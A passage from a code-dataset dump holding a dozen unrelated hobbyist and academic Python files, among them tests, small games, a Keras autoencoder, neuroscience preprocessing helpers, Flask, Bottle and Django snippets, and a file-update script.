Comment()\n self.comment.body = 'Comment 1'\n self.methods = CommentMethods(self.comment, TestRequest())\n\n def test_getBody(self):\n self.assertEqual(self.methods.getBody(), 'Comment 1')\n\n def test_setBody(self):\n self.methods.setBody('C1')\n self.assertEqual(self.comment.body, 'C1')\n\n\nclass AttachmentMethodsTest(PlacelessSetup, unittest.TestCase):\n\n def setUp(self):\n PlacelessSetup.setUp(self)\n self.attach = File()\n self.attach.data = 'Data 1'\n self.methods = AttachmentMethods(self.attach, TestRequest())\n\n def test_getData(self):\n self.assertEqual(base64.decodestring(self.methods.getData()),\n 'Data 1')\n\n def test_setData(self):\n self.methods.setData(base64.encodestring('Data 1'))\n self.assertEqual(self.attach.data, 'Data 1')\n \n\ndef test_suite():\n return unittest.TestSuite((\n unittest.makeSuite(TrackerMethodsTest),\n unittest.makeSuite(BugMethodsTest),\n unittest.makeSuite(CommentMethodsTest),\n unittest.makeSuite(AttachmentMethodsTest),\n ))\n\nif __name__ == '__main__':\n unittest.main()\n \n \n","sub_path":"Zope3/branches/jim-adapter/src/bugtracker/tests/test_xmlrpc.py","file_name":"test_xmlrpc.py","file_ext":"py","file_size_in_byte":5566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"94462161","text":"def compress(L):\n if len(L)<=1:\n return []\n else:\n accum = []\n for x in range(0, len(L)-1,1):\n accum += [L[x]+L[x+1]]\n return accum\n\ndef pasc(n):\n if n<=1:\n return [1]\n elif n ==2:\n return [1] + [1] + [1]\n else:\n return [1]+compress(pasc(n-1)) +[1]\n\n\nfor i in range(1,10,1):\n print(pasc(i))\n\n\n\n","sub_path":"tri.py","file_name":"tri.py","file_ext":"py","file_size_in_byte":349,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"412872558","text":"#import xml.etree.ElementTree as ET\nfrom lxml import etree\nimport bottle\nfrom bs4 import BeautifulSoup\n\n#parsing du fichier XML\n\n\"\"\"\n#marche pas a cause des '&' et des '#' qui font crash le parser\n\n\"\"\"\n\n#--------------------------FONCTION BOTTLE--------------------------\n\n\n@bottle.route(\"/auteur/qui\")\n@bottle.view(\"page.tpl\")\ndef qui():\n stri = \"\"\"\n
\n \n \n \n \n \"\"\"\n return {\"title\":\"Rechercher un auteur\", \"body\":stri}\n\n\n\n@bottle.route(\"/auteur/name\", method='POST')\n@bottle.view(\"page.tpl\")\ndef name():\n lname = bottle.request.forms.last_name\n fname = bottle.request.forms.first_name\n return {\"title\":\"Vous consultez la page de \", \"body\": fname+\", \"+lname}\n\n\n#--------------------------RUN BOTTLE--------------------------\nbottle.run(bottle.app(), host='localhost', port='8080', debug=True, reloader=True)\n#--------------------------RUN BOTTLE--------------------------\n","sub_path":"mini_projet.py","file_name":"mini_projet.py","file_ext":"py","file_size_in_byte":1100,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"159793009","text":"'''This script demonstrates how to build a variational autoencoder with Keras.\n #Reference\n - Auto-Encoding Variational Bayes\n https://arxiv.org/abs/1312.6114\n'''\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom keras.layers import Input, Dense\nfrom keras.models import Model\nfrom keras.callbacks import EarlyStopping\nfrom keras import backend as K\nfrom keras import metrics\nimport utilities as utl\n\n#022518\n#10-128-20 autoencoder telecommunication code\n#gaussian noise -10~9dB\n\n\nbatch_size = 256\nmultiplier=8\nbitLen=16*multiplier\noriginalDim = bitLen\ncodeDim=128*multiplier\nmodedDim=32*multiplier\nepochs = 500\nepsilon_std = 1.0\ntrainSize=10240000\ntestSizePerNoiseLevel=5000\nSNRVecdB= np.array(range(0, 20)) - 10\nSNRVec= 10 ** (SNRVecdB / 10)\nerrorVec= np.zeros([SNRVec.size, SNRVec.size]) - 9999\nblkErrorVec= np.zeros([SNRVec.size, SNRVec.size]) - 9999\nestiSNRVec= np.zeros([SNRVec.size, SNRVec.size]) - 9999\n#initialization\ndef BinCodeGene(leng,prob,num):\n rtm=np.matrix((np.random.rand(leng,num)>prob)*1)\n return rtm\nxTrain=BinCodeGene(originalDim,0.5,trainSize).T\nxTest=BinCodeGene(originalDim,0.5,testSizePerNoiseLevel*SNRVecdB.size).T\n\n#generate data\nnoiseMatrix = np.random.normal(0, 1, [testSizePerNoiseLevel * SNRVec.size, modedDim])\nfor lop in range(0, SNRVec.size):\n x = Input(shape=(originalDim,))\n coded = Dense(codeDim, activation='relu')\n t = coded(x)\n moded = Dense(modedDim, activation='Balancedsigmoid')\n t2= moded(t)\n moded2 = utl.GaussianNoise(1 / SNRVec[lop])\n t3=moded2(t2)\n\n demodinput=Input(shape=(modedDim,))\n demoded = Dense(modedDim, activation='relu')\n t4=demoded(t3)\n decoded = Dense(codeDim, activation='relu')\n t5=decoded(t4)\n outputl= Dense(originalDim, activation='sigmoid')\n y=outputl(t5)\n\n\n vae = Model(x, y)\n vae.compile(optimizer='Adam', loss='mse')\n#generate model\n\n\n\n vae.fit(xTrain, xTrain,\n shuffle=True,\n epochs=epochs,\n callbacks=[EarlyStopping(monitor='loss',min_delta=0.0005,patience=5)],\n batch_size=batch_size,\n validation_data=(xTrain, xTrain)\n )\n\n#train model\n encodermod=Model(x,t2)\n\n decodermod=Model(demodinput,outputl(decoded(demoded(demodinput,))))\n#generate seperated model\n chanel=encodermod.predict(xTest)\n #(x_test number, moded_dim)\n SigPowMean=np.mean(np.square(chanel))\n noiseMatrixDummy=noiseMatrix.copy()\n\n\n for i in range(0, SNRVec.size):\n noiseMatrixDummy[i * testSizePerNoiseLevel:(i + 1) * testSizePerNoiseLevel, :]= np.sqrt(SigPowMean / SNRVec[i]) * noiseMatrixDummy[i * testSizePerNoiseLevel:(i + 1) * testSizePerNoiseLevel, :]\n NoisePowMean=np.mean(np.square(noiseMatrixDummy[i * testSizePerNoiseLevel:(i + 1) * testSizePerNoiseLevel, :]))\n estiSNRVec[lop, i]= 10 * (np.log10(SigPowMean) - np.log10(NoisePowMean))\n#evaluate REAL SNR\n chanelandNoise = chanel + noiseMatrixDummy\n decodedData=decodermod.predict(chanelandNoise)\n decodThresholdedData= (decodedData > 0.5) * 1\n#simulate decode\n errorTempMat=abs(decodThresholdedData - xTest)\n blkErrorTempMat= (np.sum(errorTempMat, axis=1) > 0) * 1\n for i in range(0, SNRVec.size):\n errorVec[lop, i]=np.sum(errorTempMat[i * testSizePerNoiseLevel:(i + 1) * testSizePerNoiseLevel, :])\n blkErrorVec[lop, i]=np.sum(blkErrorTempMat[i * testSizePerNoiseLevel:(i + 1) * testSizePerNoiseLevel])\n#evaluate error\n\n\n\n\n\n\n\n np.save('errorvec', errorVec)\n np.save('blkerrorvec', blkErrorVec)\n np.save('SNR', estiSNRVec)\n K.clear_session()\n#save and clear\n\nerrorVec= errorVec / testSizePerNoiseLevel / originalDim\nprint(errorVec)","sub_path":"Obsolete/NNautoencoderraw16x8bitnoise.py","file_name":"NNautoencoderraw16x8bitnoise.py","file_ext":"py","file_size_in_byte":3647,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"597246606","text":"import numpy as np\n\ndef rebin(spks, n):\n '''\n Coarsens the time binning of a Steinmetz-format spike-count dataset\n by a factor of n. For example, if the original dataset has 10 ms bins\n and n=10, the returned array will have 100 ms bins.\n\n If n does not exactly divide spks.shape[2], then the 'remainder cells'\n of spks, at the rightmost end of the 2-axis, are dropped.\n\n args:\n spks (numpy array): spike-count dataset (cells by trials by time bins)\n shape\n n (integer): number of old time bins per new time bin\n\n returns:\n a spike-count datasets in same format as input, but with only\n spks.shape[2] // n time bins.\n '''\n cells, trials, old_bins = spks.shape\n new_bins = old_bins // n\n spks_rebinned = np.empty((cells, trials, new_bins))\n for i in range(new_bins):\n spks_rebinned[:,:,i] = spks[:,:,i:(i+n)].sum(axis=2)\n return spks_rebinned\n\ndef drop_quiet_cells(spks, min_av_spks, verbose=True):\n '''\n Given a spike-count dataset in 'cells by trials by time bins' format, return a trimmed\n dataset with low-activity cells removed.\n\n args:\n spks (integer numpy array): spike count dataset a la Steinmetz (cells by trials by time bins)\n min_av_spks (float): threshold spikes-per-bin rate (averaged across trials and times) below\n which cells are dropped\n verbose (boolean): if True, function prints number of dropped cells to screen\n\n returns:\n integer numpy array: the result of removing low-activity cells from spks\n '''\n\n av_spks_by_cells = spks.mean(axis=(1,2))\n cell_mask = av_spks_by_cells >= min_av_spks\n if verbose:\n print('Dropped', sum(np.logical_not(cell_mask)), 'of the original', len(cell_mask), 'cells')\n return spks[cell_mask, :, :]\n\ndef get_matched_pops(a1, a2, n_hist_bins, geometric_bins=True, verbose=True):\n '''\n Given two spike-count datasets in 'cells by trials by time bins' format,\n return a corresponding pair with equal neuron counts and roughly matching\n distributions of average firing rates.\n\n Increasing n_hist_bins improves the distributional match but reduces the\n number of neurons retained.\n\n args:\n\n a1, a2 (integer numpy arrays): spike count datasets a la Steinmetz (neurons\n by trials by time bins)\n n_hist_bins (integer): number of histogram bins to use for the firing-rate\n matching\n geometric_bins (boolean): if True, space histogram bins evenly on log scale;\n if False, a linear scale is used\n verbose (boolean): if True, function prints info on population sizes\n\n returns:\n\n Tuple (a1_reduced, a2_reduced, a1_cells_idx, a2_cells_idx)\n a1_reduced and a2_reduced are spike count datasets in the same numpy array\n format as the inputs. They have exactly matching shapes and roughly matching\n firing rate distributions.\n a1_cells_idx and a2_cells_idx are lists of integers. The integers are\n indices of the retained cells in the original datasets.\n '''\n\n N_trials, N_time_bins = a1.shape[1:]\n assert a1.shape[1:] == a2.shape[1:], 'incompatible datasets'\n\n a1_totals = a1.sum(axis=(1,2)) # vector of spike counts by a1 cell, summed across bins and trials\n a2_totals = a2.sum(axis=(1,2)) # ditto for a2\n lumped = np.concatenate((a1_totals,a2_totals))\n\n min_count = min(lumped) # this will be left-hand edge of first histogram bin\n assert not (geometric_bins and min_count == 0), \"can't use geometric spacing when silent cells present\"\n\n bin_func = np.geomspace if geometric_bins else np.linspace\n bins = bin_func(min_count, max(lumped)+1, n_hist_bins) # define histogram bins for the distribution matching\n\n # construct aligned firing rate histograms for a1 and a2\n his1 = np.histogram(a1_totals, bins=bins)[0]\n his2 = np.histogram(a2_totals, bins=bins)[0]\n\n n_a1, n_a2 = a1.shape[0], a2.shape[0] # numbers of cells in original a1 and a2 populations\n\n matched_a1_cells = []\n matched_a2_cells = []\n\n for i in range(len(bins)-1):\n mn, mx = bins[i], bins[i+1]\n a1_candidates = [j for j in range(n_a1) if (a1_totals[j] >= mn and a1_totals[j] < mx)]\n a2_candidates = [j for j in range(n_a2) if (a2_totals[j] >= mn and a2_totals[j] < mx)]\n quota = min(len(a1_candidates), len(a2_candidates))\n matched_a1_cells.extend(np.random.choice(a1_candidates, size=quota, replace=False))\n matched_a2_cells.extend(np.random.choice(a2_candidates, size=quota, replace=False))\n\n if verbose:\n print('Pre-match populations:', a1.shape[0], a2.shape[0])\n print('Matched populations:', len(matched_a1_cells), len(matched_a2_cells))\n print('Source population:', a1.shape[0] - len(matched_a1_cells))\n\n return a1[matched_a1_cells,:,:], a2[matched_a2_cells,:,:], matched_a1_cells, matched_a2_cells\n","sub_path":"preproc.py","file_name":"preproc.py","file_ext":"py","file_size_in_byte":4803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"199008245","text":"import pygame\n\nimport settings\nimport optionBox as opBox\n\nclass healthBar:\n def __init__(self, entityStats, entityRect):\n self.total = entityStats.stats[settings.maxHpKey]\n self.current = entityStats.stats[settings.healthKey]\n self.pos = entityRect.midtop\n self.pos = (self.pos[0] - (self.total + 2), self.pos[1] - 12)\n\n def update(self):\n self.render()\n\n def render(self):\n self.rect = pygame.Rect(self.pos[0], self.pos[1], self.total*2 + 4, 12)\n self.healthLine = pygame.Rect(2, 2, self.current*2, 8)\n self.image = pygame.surface.Surface((self.rect.width, self.rect.height))\n if self.current > 0:\n pygame.draw.rect(self.image, settings.green, (self.healthLine))\n\nclass fightScene:\n\n def __init__(self, side1, side2):\n self.clock = 0\n self.image = pygame.image.load(settings.fightSceneOverlay1)\n self.rect = (0, 0, self.image.get_width(), self.image.get_height())\n self.sprites1 = [side1]\n self.sprites2 = [side2]\n\n self.player = self.sprites1[0]\n self.side1Rect = pygame.Rect(0, 0, settings.winWidth/2, settings.winHeight)\n self.side2Rect = pygame.Rect(settings.winWidth/2, 0, settings.winWidth/2, settings.winHeight)\n\n self.turn = 1\n self.stage = 1\n\n self.giveOption()\n\n self.delay = settings.ticker(20)\n self.delay.lock = True\n\n self.healthBars = []\n\n def update(self):\n self.healthBars.clear()\n\n self.image = pygame.image.load(settings.fightSceneOverlay1)\n\n for sprite in self.sprites1:\n pos = (self.side1Rect.centerx - sprite.fullArt.get_width()/2, self.side1Rect.centery - sprite.fullArt.get_height()/2)\n self.image.blit(sprite.fullArt, pos)\n\n rect = pygame.Rect(pos[0], pos[1], sprite.fullArt.get_width(), sprite.fullArt.get_height())\n self.healthBars.append(healthBar(sprite.stats, rect)) \n\n for sprite in self.sprites2:\n pos = (self.side2Rect.centerx - sprite.fullArt.get_width()/2, self.side2Rect.centery - sprite.fullArt.get_height()/2)\n self.image.blit(sprite.fullArt, pos)\n \n rect = pygame.Rect(pos[0], pos[1], sprite.rect.width, sprite.rect.height)\n self.healthBars.append(healthBar(sprite.stats, rect))\n\n for bar in self.healthBars:\n bar.update()\n self.image.blit(bar.image, (bar.rect))\n\n self.delay.tick()\n\n if self.delay.done:\n if self.turn == 1:\n if self.options.status == 'pending':\n pass\n\n elif self.options.status == 'done':\n if self.options.result.id == \"attack\":\n self.sprites2[0].stats.recvHit(self.options.result)\n\n elif self.options.result.id == \"run\":\n self.sprites2[0].fightActive = False\n\n self.turn += 1\n self.options = False\n self.delay.reset()\n \n else:\n self.sprites1[0].stats.recvHit(self.sprites2[0].stats.randAttack())\n self.turn = 1\n self.giveOption()\n \n if self.options != False:\n self.options.update()\n\n def giveOption(self):\n fightSceneOptions = {}\n attackOptions = {}\n itemOptions = {}\n\n for item in self.player.stats.inventory.items:\n if item.id == \"weapon\":\n attackOptions[item.name] = item.attack\n else:\n itemOptions[item.name] = item.effect\n\n for option in settings.fightOptions:\n if option == \"Attack\":\n fightSceneOptions[option] = attackOptions\n \n elif option == \"Items\":\n fightSceneOptions[option] = itemOptions\n \n elif option == \"Run\":\n fightSceneOptions[option] = settings.run()\n else:\n fightSceneOptions[option] = '??'\n\n self.options = opBox.optionBox(fightSceneOptions)\n \n self.options.setPos('bottomR')","sub_path":"fightScene.py","file_name":"fightScene.py","file_ext":"py","file_size_in_byte":4158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"230042835","text":"import sys \nfrom simep.sched import Order\n\n\ndef create_scenarii_files(ric,date_start,date_end):\n\tfrom simep.scenarii.metascenario import MetaScenario\n\tm = MetaScenario('C:/st_repository/simep_scenarii')\n\tm.SetEngine('SBBModel', {'full' : False, 'seed' : 4})\n\tm.SetDates(date_start, date_end)\n\tm.SetStocks([{'data_type' : 'TBT2', 'ric' : ric}])\n\n\n\tCycle001_params = {\t\t\t\t \n\t\t\t\t\t 'parameters' : {'bussinessTime' : True, \n\t\t\t\t\t \t\t\t\t'reference'\t\t\t : 'best_opposite',\n\t\t\t\t\t 'plot_mode' : 0, \n\t\t\t\t\t 'd' : 1, \n\t\t\t\t\t 'cycle' : 5, \n\t\t\t\t\t 'side' : 'Order.Buy', \n\t\t\t\t\t 'size' : 10000}\n\t}\n\t\n\tm.AddTrader('CyclePlacement', Cycle001_params) \n\tm.GenerateAndScheduleSimulations('C:/st_repository/simep_scenarii/Cycle')\n\t\n\t\nif __name__ == '__main__':\n create_scenarii_files('FTE.PA', '20101001', '20101030')","sub_path":"usr/sivla/scenarii/generate_scenarii.py","file_name":"generate_scenarii.py","file_ext":"py","file_size_in_byte":997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"10013760","text":"#!/user/bin/env python3\n# -*- coding:utf8 -*-\n\"\"\"Sample hello world Flask app\"\"\"\n\nfrom flask import Flask\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef hello():\n return \"

Hello, world!

\"\n\n\n@app.route(\"/products\")\ndef products():\n product_list = [\"Apples\", \"Oranges\", \"Bananas\"]\n bullet_list = \"\".join(\n \"
  • %s
  • \" % product for product in product_list\n )\n return \"
      %s
    \" % bullet_list","sub_path":"app/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"52529223","text":"import pandas as pd\nimport sklearn.svm as svm\nimport sklearn.model_selection as ms\nfrom sklearn import datasets\nimport sklearn.model_selection as sk\nimport numpy as np\nimport itertools\nfrom sklearn.feature_extraction.text import TfidfVectorizer as vectorizer\n\nnewsgroups = datasets.fetch_20newsgroups(subset='all',categories=['alt.atheism','sci.space'])\nvect = vectorizer()\ntfIdf = vect.fit_transform(newsgroups.data,newsgroups.target)\nfeature_mapping = vect.get_feature_names()\nfold = sk.KFold(n_splits = 5, random_state=241, shuffle = True)\nc_param = [10.e-5,10.e-4,10.e-3,10.e-2,10.e-1,10.e1,10.e2,10.e3,10.e4,10.e5]\nc_target = 0\nmaxscore = 0\nfor i in c_param:\n clf = svm.SVC(kernel = 'linear',C=i, random_state=241)\n #clf = KNeighborsClassifier(n_neighbors=i)\n score=np.mean(sk.cross_val_score(estimator=clf,X=tfIdf,y=newsgroups.target,cv=fold))\n if (score>maxscore):\n c_target = i\n maxscore = score\n\nclf = svm.SVC(kernel = 'linear',C=c_target, random_state=241)\nclf.fit(X=tfIdf,y=newsgroups.target)\n\nind = np.argsort(np.abs(np.asarray(clf.coef_.todense())).reshape(-1))[-10:]\nfor i in ind:\n print(feature_mapping[i])\n","sub_path":"SVM_text_analyzing.py","file_name":"SVM_text_analyzing.py","file_ext":"py","file_size_in_byte":1151,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"211179477","text":"from django.db import models\n\n\nclass Album(models.Model):\n photo = models.ImageField(\n verbose_name=\"Imagem\",\n upload_to='album/%Y/%m/',\n )\n create_at = models.DateTimeField(\n verbose_name=\"Criado em\",\n auto_now=True,\n )\n updated_at = models.DateTimeField(\n verbose_name=\"Modificado em\",\n auto_now_add=True,\n )\n active = models.BooleanField(\n verbose_name=\"Ativo\",\n default=False,\n )\n titulo = models.CharField(\n verbose_name=\"Título\",\n max_length=50,\n )\n texto = models.CharField(\n verbose_name=\"Texto\",\n max_length=132,\n )\n\n class Meta:\n verbose_name = \"Foto\"\n verbose_name_plural = \"Fotos\"\n\n def photo_logo(self):\n if self.photo:\n return u'' % self.photo.url\n else:\n return 'Sem Foto'\n photo_logo.allow_tags = True\n photo_logo.short_description = u'Imagem'\n","sub_path":"apps/website/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":983,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"268693507","text":"import os\nimport fileinput\nimport random\n\nimport pygame\n\nfrom game.bricks import *\nfrom game.shared.GameConstants import GameConstants\n\nclass Level:\n def __init__(self, game):\n self.__game = game\n self.__bricks = []\n self.__amount_of_bricks = 0\n self.__current_level = 0\n\n def get_bricks(self):\n return self.__bricks\n\n def amount_of_bricks(self):\n return self.__amount_of_bricks\n\n def brick_hit(self):\n self.__amount_of_bricks -= 1\n\n def load_next_level(self):\n self.__current_level += 1\n file_name = os.path.join(\n \"game\", \n \"assets\", \n \"levels\",\n \"level\" + str(self.__current_level) + \".dat\"\n )\n if not os.path.exists(file_name):\n self.load_random()\n else:\n self.load(self.__current_level)\n\n def load_random(self):\n self.__bricks = []\n x, y = 0, 0\n max_bricks = int(\n GameConstants.SCREEN_SIZE[0] / GameConstants.BRICK_SIZE[0]\n )\n rows = random.randint(2, 8)\n\n amount_of_super_power_bricks = 0\n\n for row in range(0, rows):\n for brick in range(0, max_bricks):\n brick_type = random.randint(0, 3)\n if brick_type == 1 or amount_of_super_power_bricks >= 2:\n brick = Brick(\n [x, y],\n pygame.image.load(GameConstants.SPRITE_BRICK),\n self.__game\n )\n self.__bricks.append(brick)\n self.__amount_of_bricks += 1\n elif brick_type == 2:\n brick = SpeedBrick(\n [x, y],\n pygame.image.load(GameConstants.SPRITE_SPEEDBRICK),\n self.__game\n )\n self.__bricks.append(brick)\n self.__amount_of_bricks += 1\n amount_of_super_power_bricks += 1\n x += GameConstants.BRICK_SIZE[0]\n x = 0\n y += GameConstants.BRICK_SIZE[1]\n\n\n\n def load(self, level):\n self.__current_level = level\n self.__bricks = []\n \n for line_number, line in enumerate(\n fileinput.input(\n os.path.join(\n \"game\", \"assets\", \"levels\",\n \"level\" + str(level) + \".dat\"\n )\n )\n ):\n self.__process_level_line(line_number, line)\n\n def __process_level_line(self, line_number, line):\n y = line_number * GameConstants.BRICK_SIZE[1] # y coordinate\n x = 0 # x coordinate\n for current_brick in line:\n if current_brick == '1':\n sprite = pygame.image.load(GameConstants.SPRITE_BRICK)\n brick = Brick([x, y], sprite, self.__game)\n self.__bricks.append(brick)\n self.__amount_of_bricks += 1\n elif current_brick == '2':\n sprite = pygame.image.load(GameConstants.SPRITE_SPEEDBRICK)\n brick = SpeedBrick([x, y], sprite, self.__game)\n self.__bricks.append(brick)\n self.__amount_of_bricks += 1\n elif current_brick == '3':\n sprite = pygame.image.load(GameConstants.SPRITE_LIFEBRICK)\n brick = LifeBrick([x, y], sprite, self.__game)\n self.__bricks.append(brick)\n self.__amount_of_bricks += 1\n\n x += GameConstants.BRICK_SIZE[0]\n\n\n \n\n\n","sub_path":"game/Level.py","file_name":"Level.py","file_ext":"py","file_size_in_byte":3589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"143558866","text":"# Aaron Hebert\n# PA 4\n# CIDM 4382\n# 20181014\n \n# Follow the instructions provided below.\n# Upload your source code to WTClass\n# when finished by 11:59 PM on Wednesday, 10/17.\n\nimport random as rand\n\nrest = 'no'\n\n# Loop runs as long as the adventurer doesn't want to rest\nwhile rest == 'no':\n \n actual = -99 # Value of the actual Sphinx number\n health = 0 # Adventurer health bar\n beast_health = 50 # Sphinx health bar\n \n # 1. Construct a while loop that gets the user to enter sword or axe and keeps running until they do.\n # 'You look ready for adventure, traveler. Will you take your sword or axe today?'\n # Store the user input in the variable weapon.\n\n weapon = ''\n\n while str(weapon) != \"sword\" or \"axe\":\n\n weapon = str(input('You look ready for adventure, traveler. Will you take your sword or axe today? >>>'))\n\n # 2. If they choose sword print 'Your trusty sword.'\n if str(weapon) == 'sword':\n print('Your trusty sword.')\n break\n\n # If they choose axe print 'Your trusty axe.' \n if str(weapon) == 'axe':\n print('Your trusty axe.')\n break\n \n # 3. Construct a while loop that gets the user to enter cake or apple and keeps running until they do.\n # 'Before we leave for battle today, will you eat the cake or the apple?'\n # Store the user input in the variable food. \n\n food = ''\n\n while str(food) != 'cake' or 'apple':\n\n food = str(input('Before we leave for battle today, will you eat the cake or the apple? >>>'))\n\n # 4. If they choose cake print 'Great choice! Your health bar is up to 100.'\n # and set health to 100.\n if str(food) == 'cake':\n print('Great choice! Your health bar us up to 100.')\n health = 100\n break\n \n # If they choose apple print 'Always take the cake... your health bar is up to 50.' \n # and set health to 50.\n if str(food) == 'apple':\n print('Always take the cake... your health bar is up to 50')\n health = 50\n break\n\n print('You leave the inn with your trusty ' + weapon + ' at your side and your belly full of ' + food + '.')\n\n print('You see a Sphinx at the end of the road as you leave. You hurry down the road and approach the beast.')\n \n \n # 5. Ask the user to guess the Sphinx's number in the following way:\n # 'Adventurer... if you can guess my number between 1 and 5 you can pass without any trouble. What is your guess?'\n # Store the result in the variable guess.\n # Generate a random number between 1 and 5 and store the result in the variable actual.\n\n guess = int(input('Adventurer... if you can guess my number between 1 and 5 you can pass without any trouble. What is your guess? >>>'))\n\n actual = rand.randint(1, 5)\n\n if guess == actual: # Executes if the user's guess is the same as the Sphinx's number \n print('SUCCESS! PASS WITH CARE AND YOUR LIFE...')\n \n else: # Executes if the user's guess is not the same as the Sphinx's number\n print('INCORRECT! PREPARE TO FIGHT!')\n\n hits = 0 # Represents the number of hits the beast takes\n while beast_health > 0: # Runs while the beast is still alive\n\n \n # 7. Inside the while loop for the fight:\n # If the weapon carried is a sword, generate a random number between 16 and 20 for an attack value.\n # Store this attack in a variable called my_attack.\n if str(weapon) == 'sword':\n my_attack = rand.randint(16, 20)\n \n # Otherwise, generate a random number between 10 and 15.\n # Store this attack in a variable called my_attack.\n else:\n my_attack = rand.randint(10, 15)\n \n # 8. Calculate the new health for the beast by subtracting my_attack from beast_health. \n # Increase the value of the variable hits by 1. \n beast_health = beast_health - my_attack\n\n hits += 1 \n\n # 9. If the beast's health is less than or equal to 0, print \n # 'You hit for ' (damage dealt) ' and beast is dead in ' (# hits) ' hits!'\n\n if beast_health <= 0:\n print('You hit for ' + str(my_attack) + ' and the beast is dead in ' + str(hits) + ' hits!')\n\n # {Otherwise, print \n # 'You hit for ' (damage dealt) ' and beast health drops to ' (beast health)\n else: \n print('You hit for ' + str(my_attack) + ' and beast health drops to ' + str(beast_health))\n\n # Generate an attack value for the beast attack between 0 and 10 and store in a variable called beast_attack\n\n beast_attack = rand.randint(0, 10)\n\n # Calculate your new health value by subtracting beast_attack from health.\n\n health = health - beast_attack\n\n # Print 'Beast hits for ' (beast attack) ' and your health drops to ' (health)}\n\n print('Beast hits for ' + str(beast_attack) + ' and your health drops to ' + str(health))\n\n # 10. Construct a while loop that gets the user to enter yes or no and keeps running until they do.\n while rest == 'no':\n # 'The day comes to an end... Will you rest, yes or no?'\n # Store the user input in the variable rest.\n rest = input('The day comes to an end... Will you rest, yes or no? >>>') \n # If the user enters yes, print 'A well-earned rest.'\n if rest == 'yes':\n print('A well-earned rest.')\n rest = 'yes'\n break\n \n","sub_path":"PA4/AHebert - PA4.py","file_name":"AHebert - PA4.py","file_ext":"py","file_size_in_byte":5683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"649402956","text":"#!/usr/bin/env python3\n# -*- coding: UTF-8 -*-\n\n__author__ = 'RemiZOffAlex'\n__copyright__ = '(c) RemiZOffAlex'\n__license__ = 'MIT'\n__email__ = 'remizoffalex@mail.ru'\n__url__ = 'http://remizoffalex.ru'\n\nimport os\nimport sys\nimport json\nimport logging\nimport traceback\n\nfrom urllib.request import urlretrieve\nfrom logging.handlers import RotatingFileHandler\n\n# Логирование\nLONG_LOG_FORMAT = '%(asctime)s - [%(name)s.%(levelname)s] [%(threadName)s, %(module)s.%(funcName)s@%(lineno)d] %(message)s'\n\nDIR_BASE = os.path.dirname(os.path.abspath(__file__))\n\n# Логирование\nlogger = logging.getLogger('update')\nlogger.setLevel(logging.DEBUG) # root level's\nhandler = RotatingFileHandler(DIR_BASE + '/update.log', maxBytes=8*1024*1024, backupCount=1)\nhandler.setLevel(logging.INFO)\nformatter = logging.Formatter(LONG_LOG_FORMAT)\nhandler.setFormatter(formatter)\nlogger.addHandler(handler)\n\ndef read_json(filename):\n \"\"\"\n Считываем данные в формате JSON из файла filename\n \"\"\"\n result = None\n with open(filename) as json_data:\n result = json.load(json_data)\n json_data.close()\n return result\n\ndef downloadfile(url, filelocal):\n dlfile = urlretrieve(url, filelocal)\n\ndef main():\n global logger\n\n config = read_json(os.path.dirname(os.path.abspath(__file__)) + '/update.json')\n\n for item in config['images']:\n for filename in config['images'][item]['files']:\n url = config['images'][item]['url'] + filename\n logger.info(url)\n fullfilename = os.path.dirname(os.path.abspath(__file__)) + '/' + config['images'][item]['path'] + '/' + filename\n logger.info(fullfilename)\n if os.path.isfile(fullfilename):\n downloadfile(url, fullfilename + '.new')\n os.rename(fullfilename + '.new', fullfilename)\n else:\n downloadfile(url, fullfilename)\n logger.info(\"Файл \" + filename + \" загружен\")\n\nif __name__ == \"__main__\":\n try:\n main()\n except Exception as err:\n traceback.print_exc(file=sys.stdout)\n exit(1)\n\n exit(0)\n","sub_path":"www/update.py","file_name":"update.py","file_ext":"py","file_size_in_byte":2156,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"608147686","text":"from .state import State\nfrom . import resources as res\nimport random\n\n\nHISCORE_COLORS = [\n res.COLORS['BLUE'],\n res.COLORS['RED'],\n res.COLORS['YELLOW'],\n res.COLORS['GREEN'],\n res.COLORS['PINK'],\n]\n\nclass Attract(State):\n\n def startup(self):\n self.ticks = 0\n self.red_game = self.settings['red_game']\n self.yellow_game = self.settings['yellow_game']\n self.high_scores = self.manager.high_scores\n self.game_modes = self.manager.game_modes\n self.has_high_scores = self.manager.has_high_scores \n if not self.settings['save_high_scores']:\n self.display_queue = [self.draw_factory('LOGO')]\n else:\n self.display_queue = self.get_display_queue()\n self.current_display_ticks = 0\n self.current_display_func, self.current_display_time = self.display_queue[0]\n self.current_display = 0\n self.attract_song = res.ATTRACT_MUSIC[random.choice(res.ATTRACT_MUSIC_KEYS)]\n\n def get_display_queue(self):\n if len(self.persist['hs_game_hist']) == 2:\n game1,game2 = self.persist['hs_game_hist']\n else:\n game1 = game2 = self.persist['hs_game_hist'][0]\n queue = []\n if not self.has_high_scores[self.persist['active_game_mode']]:\n queue.append((self.draw_factory('LOGO'),10))\n queue.append((self.draw_factory(game1),10))\n queue.append((self.draw_factory('LOGO'),10))\n queue.append((self.draw_factory(game2),10))\n if self.has_high_scores[self.persist['active_game_mode']]:\n 